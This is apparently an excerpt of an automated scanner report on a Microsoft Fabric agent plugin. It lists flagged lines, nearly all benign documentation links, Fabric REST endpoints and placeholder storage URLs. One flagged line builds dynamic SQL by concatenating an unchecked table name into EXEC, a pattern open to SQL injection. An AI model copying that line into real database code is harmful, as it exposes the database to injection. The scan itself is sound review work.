    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `hea
  • Network accessline 58
    |---|---|---| | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` —
  • Network accessline 59
    | Fetch | [notebookutils.fs](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-file-system) | `ls`, `cp`, `fastcp`, `mv`, `rm`, `put`, `append`, `head`, `mkdirs`, `exists`, `getProperties` — file/director
  • Network accessline 60
    | Fetch | [notebookutils.fs mount](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-mount) | `mount`, `unmount`, `mounts`, `getMountPath` — attach ADLS Gen2/Blob/Lakehouse as local mount points, accountK
  • Network accessline 67
    |---|---|---| | Local | [connections.md](notebook-authoring/connections.md) | `notebookutils.credentials` for external services — getSecret (Key Vault), getToken (Entra), Azure SDK credential wrapper, connection code for PostgreSQL, MySQL, 
  • Network accessline 69
    | Fetch | [notebookutils.credentials](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials) | `getToken` (audience: storage, pbi, keyvault, kusto), `getSecret` (Key Vault endpoint + secret name),
  • Network accessline 75
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithPr
  • Network accessline 76
    |---|---|---| | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `l
  • Network accessline 77
    | Fetch | [notebookutils.lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-lakehouse) | `create` (with `enableSchemas`), `get`, `getWithProperties`, `update`, `delete`, `list`, `listTables`, `l
  • Network accessline 78
    | Fetch | [notebookutils.notebook CRUD](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-management) | `create` (with .ipynb content, defaultLakehouse), `get`, `getDefinition`, `update`, `update
  • Network accessline 84
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, para
  • Network accessline 85
    |---|---|---| | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` (
  • Network accessline 86
    | Fetch | [notebookutils.notebook run](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-notebook-run) | `run` (reference notebook with timeout, parameters, cross-workspace), `runMultiple` (parallel execu
  • Network accessline 87
    | Fetch | [notebookutils.session](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-session-management) | `stop()` (stop interactive session, release resources — **never call in pipeline mode**), `restart
  • Network accessline 95
    | Local | [notebook-resources.md](notebook-authoring/notebook-resources.md) | `builtin/` folder, `env/` folder, `notebookutils.nbResPath`, `file:` prefix, small file embedding, resource folder path resolution, reference run resource access 
  • Network accessline 96
    | Local | [library-mgmt.md](notebook-authoring/library-mgmt.md) | `%pip install` vs `!pip`, Environment artifact, custom wheel upload, `restartPython()` after install, built-in library list, runtime version check, Full/Quick publish mode | 
  • Network accessline 97
    | Fetch | [Manage Spark libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) | `%pip`/`%conda` inline install, library precedence, pipeline library install considerations, session-scoped vs environment-sc
  • Network accessline 98
    | Fetch | [Environment libraries](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) | Quick mode (5s publish) vs Full mode (stable snapshot), PyPI/Conda/Maven/custom .whl/.jar, publish mode selection, Ful
  • Network accessline 104
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary v
  • Network accessline 106
    | Fetch | [Notebook visualization](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-visualization) | `display(df)` (rich table view, chart view, multi-chart, summary view), `displayHTML()` (D3.js, custom HTML), `powerbicli
  • Network accessline 112
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `V
  • Network accessline 113
    |---|---|---| | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.m
  • Network accessline 114
    | Fetch | [Delta optimization and V-Order](https://learn.microsoft.com/en-us/fabric/data-engineering/delta-optimization-and-v-order) | V-Order write optimization, `OPTIMIZE` command, `VACUUM`, Z-Order, Optimize Write (`spark.microsoft.delta
  • Network accessline 115
    | Fetch | [Table compaction](https://learn.microsoft.com/en-us/fabric/data-engineering/table-compaction) | bin compaction, small file problem diagnosis, compaction patterns, `OPTIMIZE WHERE` |
  • Network accessline 116
    | Fetch | [Tune file size](https://learn.microsoft.com/en-us/fabric/data-engineering/tune-file-size) | `spark.microsoft.delta.targetFileSize`, partitioned table tuning, write performance vs read performance trade-offs |
  • Network accessline 117
    | Fetch | [Resource profiles](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-resource-profile-configurations) | `writeHeavy`, `readHeavyForPBI`, `readHeavyForSpark`, custom profile config, when to apply which profile |
  • Network accessline 121
    | Source | Module / Doc | When to Read | |---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versio
  • Network accessline 122
    |---|---|---| | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list | |
  • Network accessline 123
    | Fetch | [Apache Spark Runtimes](https://learn.microsoft.com/en-us/fabric/data-engineering/runtime) | runtime versions (1.2 = Spark 3.4, 1.3 = Spark 3.5, 2.0), Python/Java/Scala versions per runtime, built-in library list |
  • Network accessline 124
    | Fetch | [Native Execution Engine](https://learn.microsoft.com/en-us/fabric/data-engineering/native-execution-engine-overview) | Velox-based execution, performance boost, enable/disable via `spark.native.enabled`, supported operators, fall
  • Network accessline 125
    | Fetch | [High Concurrency mode](https://learn.microsoft.com/en-us/fabric/data-engineering/configure-high-concurrency-session-notebooks) | share Spark session across notebooks, session isolation, conditions for sharing, pipeline high concu
  • Network accessline 126
    | Fetch | [Environment compute](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-compute) | node size (Small/Medium/Large/XL/XXL), driver/executor core and memory config, Spark properties in Environment artifact 
  • Network accessline 127
    | Fetch | [Spark best practices](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-best-practices-development-monitoring) | development patterns, runtime selection, High Concurrency tips, monitoring and diagnostics, MLV organi
  • Network accessline 132
    |---|---|---| | Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit
  • Network accessline 133
    | Local | [ml-workflow.md](notebook-authoring/ml-workflow.md) | MLflow experiment setup, `mlflow.set_experiment`, autologging, model registration, SynapseML, LightGBM, PREDICT function, batch scoring, MLFlowTransformer, scikit-learn, PyTorc
  • Network accessline 134
    | Fetch | [MLflow autologging](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog configuration, disable autologging, custom metric logging |
  • Network accessline 135
    | Fetch | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | create experiment, compare runs, search runs, track training iterations |
  • Network accessline 136
    | Fetch | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | register model, version model, model registry, model lineage |
  • Network accessline 137
    | Fetch | [Model training overview](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML, SynapseML, scikit-learn, PyTorch, XGBoost — framework comparison and selection |
  • Network accessline 138
    | Fetch | [PREDICT function](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | batch scoring with MLFlowTransformer, Spark SQL `PREDICT`, UDF-based scoring |
  • Network accessline 143
    |---|---|---| | Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | 
  • Network accessline 144
    | Local | [troubleshooting.md](notebook-authoring/troubleshooting.md) | error diagnosis, `sparkdriver.log`, `sparkexecutor.log`, notebookutils log, blobfuse log, Python logging configuration, common error patterns | | Fetch | [notebookutils
  • Network accessline 145
    | Fetch | [notebookutils.udf](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-user-data-function) | `getFunctions()` (retrieve UDF item functions), invoke functions with positional/named params, `itemDe
  • Network accessline 146
    | Fetch | [T-SQL notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-tsql-notebook) | T-SQL cells, set primary warehouse, cross-warehouse three-part naming queries, limitations (no parameter cell, no SPN support) |
  • Network accessline 147
    | Fetch | [NotebookUtils overview](https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities) | full module list, general `notebookutils.help()`, getting started with NotebookUtils |
  • Network accessline 148
    | Fetch | [MSSparkUtils (legacy)](https://learn.microsoft.com/en-us/fabric/data-engineering/microsoft-spark-utilities) | `mssparkutils` backward compatibility reference — **deprecated, use `notebookutils` instead** |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-AUTHORING-CORE.md

  • Network accessline 59
    **Summary**: SQL Database offers most of the Azure SQL Database T-SQL surface (OLTP-optimized, row-store, enforced constraints, triggers, temporal tables, vectors, IQP, external tables, AI functions — see [limitations](https://learn.microso
  • Network accessline 71
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items
  • Network accessline 97
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases
  • Network accessline 127
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/restorableDeletedDatabases
  • Network accessline 135
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases
  • Network accessline 723
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items
  • Network accessline 789
    Replication of a Fabric SQL database to its SQL analytics endpoint (OneLake Delta tables) is **automatic and managed by the platform** — there is no start/stop mirroring REST operation on the SQLDatabase item. The [SQLDatabase Items REST su
  • Network accessline 791
    > **Sources**: [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations), [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations).
  • Network accessline 797
    > **Sources**: [SQL database limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations), [Mirroring limitations](https://learn.microsoft.com/en-us/fabric/database/sql/mirroring-limitations).
  • Dangerous shell operationline 978
    EXEC('SELECT * FROM ' + @tableName);
  • Network accessline 1032
    > **REST API reference**: [SQL Audit Settings API](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/sql-audit-settings)
  • Network accessline 1039
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit
  • Network accessline 1047
    PATCH https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/settings/sqlAudit
  • Network accessline 1074
    > **REST API reference**: [Revalidate CMK](https://learn.microsoft.com/en-us/rest/api/fabric/sqldatabase/items/revalidate-cmk)
  • Network accessline 1079
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlDatabases/{sqlDatabaseId}/revalidateCMK

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDB-CONSUMPTION-CORE.md

  • Network accessline 40
    | **Supported identities** | Users, service principals, Entra groups | Users, service principals, Entra groups | | **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://da
  • Network accessline 41
    | **Encryption** | Required (TDS 8.0) | Required | | **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` | | **Collation** | `SQL_Latin1_General_CP1_CI_AS` (case-insensitive) | Workspace de
  • Network accessline 42
    | **Token audience** | `https://database.windows.net/.default` | `https://database.windows.net/.default` |
  • Network accessline 58
    SQL database in Fabric uses the **Azure SQL Database engine**, so it supports most of the Azure SQL T-SQL surface (see [limitations](https://learn.microsoft.com/en-us/fabric/database/sql/limitations) for exceptions). Key areas for consumpti

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-AUTHORING-CORE.md

  • Network accessline 67
    AS SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 67
    AS SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 68
    SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data;
  • Network accessline 68
    SELECT * FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/data.parquet' ) AS data;
  • Network accessline 69
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 69
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 287
    -- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 287
    -- Parquet (auto-schema inference) COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 288
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET');
  • Network accessline 288
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet' WITH (FILE_TYPE = 'PARQUET');
  • Network accessline 289
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 289
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.parquet'
  • Network accessline 292
    -- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 292
    -- CSV with options COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 293
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH (
  • Network accessline 293
    COPY INTO dbo.FactSales FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv' WITH (
  • Network accessline 294
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 294
    FROM 'https://storageaccount.dfs.core.windows.net/container/sales/*.csv'
  • Network accessline 300
    -- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 300
    -- Auto table creation (table need not exist) COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 301
    COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE');
  • Network accessline 301
    COPY INTO dbo.NewTable FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet' WITH (FILE_TYPE = 'PARQUET', AUTO_CREATE_TABLE = 'TRUE');
  • Network accessline 302
    FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 302
    FROM 'https://storageaccount.dfs.core.windows.net/container/data.parquet'
  • Network accessline 323
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 323
    BULK 'https://storage.dfs.core.windows.net/container/data.parquet'
  • Network accessline 330
    CAST(sale_date AS date) AS SaleDate FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 330
    CAST(sale_date AS date) AS SaleDate FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 331
    FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw
  • Network accessline 331
    FROM OPENROWSET(     BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet' ) AS raw
  • Network accessline 332
    BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 332
    BULK 'https://storage.dfs.core.windows.net/container/raw/*.parquet'
  • Network accessline 338
    BULK 'https://storage.dfs.core.windows.net/container/data.csv',
  • Network accessline 338
    BULK 'https://storage.dfs.core.windows.net/container/data.csv',
  • Network accessline 346
    BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet'
  • Network accessline 346
    BULK 'https://storage.dfs.core.windows.net/container/year=*/month=*/*.parquet'

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SQLDW-CONSUMPTION-CORE.md

  • Network accessline 48
    | **Authentication** | Microsoft Entra ID only (no SQL auth) | | **Encryption** | Required (`Encrypt=Yes`) | | **Token audience** | `https://database.windows.net/.default` |
  • Network accessline 50
    | **Token audience** | `https://database.windows.net/.default` |
  • Network accessline 702
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/sqlEndpoints/{sqlEndpointId}/refreshMetadata

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/connections.md

  • Network accessline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 34
    [Credential-related source omitted]
  • Network accessline 42
    **Documentation**: [Credentials utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-credentials)
  • Network accessline 82
    from azure.storage.blob import BlobServiceClient cred = notebookutils.connections.getCredential("{connectionId}") client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"])
  • Network accessline 84
    client = BlobServiceClient(account_url="https://{accountName}.blob.core.windows.net", credential=cred["key"])

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/context-and-params.md

  • Network accessline 44
    **Documentation**: [Runtime context](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime)
  • Network accessline 113
    **Documentation**: [Variable library utilities](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/lakehouse-paths.md

  • Network accessline 107
    **Additional Reference:** [Load data in lakehouse](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/library-mgmt.md

  • Network accessline 5
    > **Public documentation — fetch for detailed guidance:** > - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install 
  • Network accessline 6
    > - [Manage Apache Spark libraries in Fabric](https://learn.microsoft.com/en-us/fabric/data-engineering/library-management) — best practices, supported library types, inline install (%pip/%conda), pipeline considerations
  • Network accessline 7
    > - [Manage libraries in Fabric environments](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-manage-library) — built-in libraries, external repositories (PyPI/Conda/Maven/private), custom libraries (.whl/.jar/.tar.gz)
  • Network accessline 8
    > - [Environment public APIs](https://learn.microsoft.com/en-us/fabric/data-engineering/environment-public-api) — REST API for environment CRUD, list/upload/delete libraries, publish operations
  • Network accessline 14
    Each Fabric Spark runtime ships with pre-installed Python libraries. The authoritative, version-pinned lists are maintained in the [microsoft/synapse-spark-runtime](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric) GitHub
  • Network accessline 18
    | Runtime | Spark | Python | Java | Scala | Delta Lake | OS | YAML File | |---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-ru
  • Network accessline 19
    |---|---|---|---|---|---|---|---| | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU.
  • Network accessline 20
    | 1.2 | 3.4.3 | 3.10 | 11 | 2.12.17 | 2.4 | Mariner 2.0 | [`Fabric-Python310-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.2%20(Spark%203.4)/Fabric-Python310-CPU.yml) |
  • Network accessline 21
    | 1.3 | 3.5.5 | 3.11 | 11 | 2.12.18 | 3.2 | Mariner 2.0 | [`Fabric-Python311-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%201.3%20(Spark%203.5)/Fabric-Python311-CPU.yml) |
  • Network accessline 22
    | 2.0 | 4.0.1 | 3.12 | 21 | 2.13.16 | 4.0 | Azure Linux 3.0 | [`Fabric-Python313-CPU.yml`](https://github.com/microsoft/synapse-spark-runtime/blob/main/Fabric/Runtime%202.0%20(Spark%204.0)/Fabric-Python313-CPU.yml) |
  • Network accessline 24
    > All files are in [`microsoft/synapse-spark-runtime`](https://github.com/microsoft/synapse-spark-runtime/tree/main/Fabric). Version details from `Components.json` in each runtime folder.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/ml-workflow.md

  • Network accessline 14
    | Topic | Documentation | When to Fetch | |---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic lin
  • Network accessline 15
    |---|---|---| | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link | | Model training overview | [Train ML 
  • Network accessline 16
    | Data Science overview | [Data Science in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/data-science-overview) | full ML lifecycle overview, capabilities, semantic link |
  • Network accessline 17
    | Model training overview | [Train ML models](https://learn.microsoft.com/en-us/fabric/data-science/model-training-overview) | SparkML vs SynapseML vs popular libraries, framework comparison |
  • Network accessline 18
    | MLflow autologging | [Autologging in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-autologging) | autolog default config, `exclusive=False` for custom logging, disable per-session or workspace-wide |
  • Network accessline 19
    | ML experiments | [ML experiments](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-experiment) | `set_experiment`, `start_run`, `search_runs`, compare runs, tags, inline widget |
  • Network accessline 20
    | ML models | [ML models](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-model) | `register_model`, model versioning, compare versions, apply models |
  • Network accessline 21
    | MLflow upgrade | [Upgrade ML tracking](https://learn.microsoft.com/en-us/fabric/data-science/mlflow-upgrade) | upgrading workspace ML tracking experience |
  • Network accessline 22
    | Cross-workspace logging | [Cross-workspace MLflow](https://learn.microsoft.com/en-us/fabric/data-science/machine-learning-cross-workspace-logging) | log models/experiments across workspaces |
  • Network accessline 26
    | Topic | Documentation | When to Fetch | |---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inf
  • Network accessline 27
    |---|---|---| | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` | | Train 
  • Network accessline 28
    | Train with scikit-learn | [sklearn + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-scikit-learn) | LogisticRegression, `log_model`, `register_model`, inference with `MLFlowTransformer` |
  • Network accessline 29
    | Train with PyTorch | [PyTorch + MLflow](https://learn.microsoft.com/en-us/fabric/data-science/train-models-pytorch) | CNN training, `mlflow.pytorch.log_model`, load & evaluate |
  • Network accessline 30
    | Train with SparkML | [SparkML tutorial](https://learn.microsoft.com/en-us/fabric/data-science/fabric-sparkml-tutorial) | SparkML pipeline, VectorAssembler, ML pipeline stages |
  • Network accessline 31
    | AutoML with FLAML | [AutoML in Fabric](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-automated-machine-learning-fabric) | `flaml.AutoML`, Spark parallelization, `to_pandas_on_spark`, time budget |
  • Network accessline 32
    | Low-code AutoML UI | [Low-code AutoML](https://learn.microsoft.com/en-us/fabric/data-science/low-code-automl) | code-free AutoML via UI widget |
  • Network accessline 36
    | Topic | Documentation | When to Fetch | |---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support |
  • Network accessline 37
    |---|---|---| | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support | | LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-sci
  • Network accessline 38
    | SynapseML overview | [SynapseML site](https://microsoft.github.io/SynapseML/) | installation, Spark integration, language support |
  • Network accessline 39
    | LightGBM models | [LightGBM + SynapseML](https://learn.microsoft.com/en-us/fabric/data-science/how-to-use-lightgbm-with-synapseml) | `LightGBMClassifier`, `LightGBMRegressor`, `LightGBMRanker`, feature importance |
  • Network accessline 40
    | First model with SynapseML | [Build a model](https://learn.microsoft.com/en-us/fabric/data-science/synapseml-first-model) | text featurization pipeline, prebuilt models |
  • Network accessline 41
    | Foundry Tools + SynapseML | [Foundry Tools BYOK](https://learn.microsoft.com/en-us/fabric/data-science/ai-services/ai-services-in-synapseml-bring-your-own-key) | vision, speech, language, translation, anomaly detection via SynapseML trans
  • Network accessline 42
    | OpenAI + SynapseML | [Azure OpenAI at scale](https://learn.microsoft.com/en-us/fabric/data-science/open-ai) | distributed LLM prompting with `OpenAICompletion` |
  • Network accessline 46
    | Topic | Documentation | When to Fetch | |---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySp
  • Network accessline 47
    |---|---|---| | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors | | Model endpo
  • Network accessline 48
    | PREDICT function | [PREDICT scoring](https://learn.microsoft.com/en-us/fabric/data-science/model-scoring-predict) | `MLFlowTransformer` (Transformer API), Spark SQL `PREDICT()`, PySpark UDF, supported flavors |
  • Network accessline 49
    | Model endpoints | [Real-time endpoints](https://learn.microsoft.com/en-us/fabric/data-science/model-endpoints) | activate/deactivate endpoints, auto-sleep, consumption rate, REST API |
  • Network accessline 53
    | Topic | Documentation | When to Fetch | |---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT |
  • Network accessline 54
    |---|---|---| | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT | | Fraud detection | [Fraud detection](https://learn.microsoft.com/e
  • Network accessline 55
    | Bank churn prediction | [Churn tutorial](https://learn.microsoft.com/en-us/fabric/data-science/customer-churn) | RandomForest + LightGBM, autolog, PREDICT |
  • Network accessline 56
    | Fraud detection | [Fraud detection](https://learn.microsoft.com/en-us/fabric/data-science/fraud-detection) | SMOTE, LightGBM, model registration, batch scoring |
  • Network accessline 57
    | Machine fault detection | [Predictive maintenance](https://learn.microsoft.com/en-us/fabric/data-science/predictive-maintenance) | RF + LogReg + XGBoost, MLflow model comparison |
  • Network accessline 58
    | Sales forecasting | [Sales forecasting](https://learn.microsoft.com/en-us/fabric/data-science/sales-forecasting) | time-series, Prophet, autolog |
  • Network accessline 59
    | Text classification | [Text classification](https://learn.microsoft.com/en-us/fabric/data-science/title-genre-classification) | Word2Vec, cross-validation, Spark ML pipeline |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/notebook-resources.md

  • Network accessline 76
    **Documentation**: [Notebook resources](https://learn.microsoft.com/en-us/fabric/data-engineering/how-to-use-notebook#notebook-resources)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/notebook-authoring/troubleshooting.md

  • Network accessline 5
    > **Public documentation (for user reference, not agent-actionable):** > - [Python logging in notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook#python-logging-in-a-notebook) — `logging.getLogger`, 
  • Network accessline 6
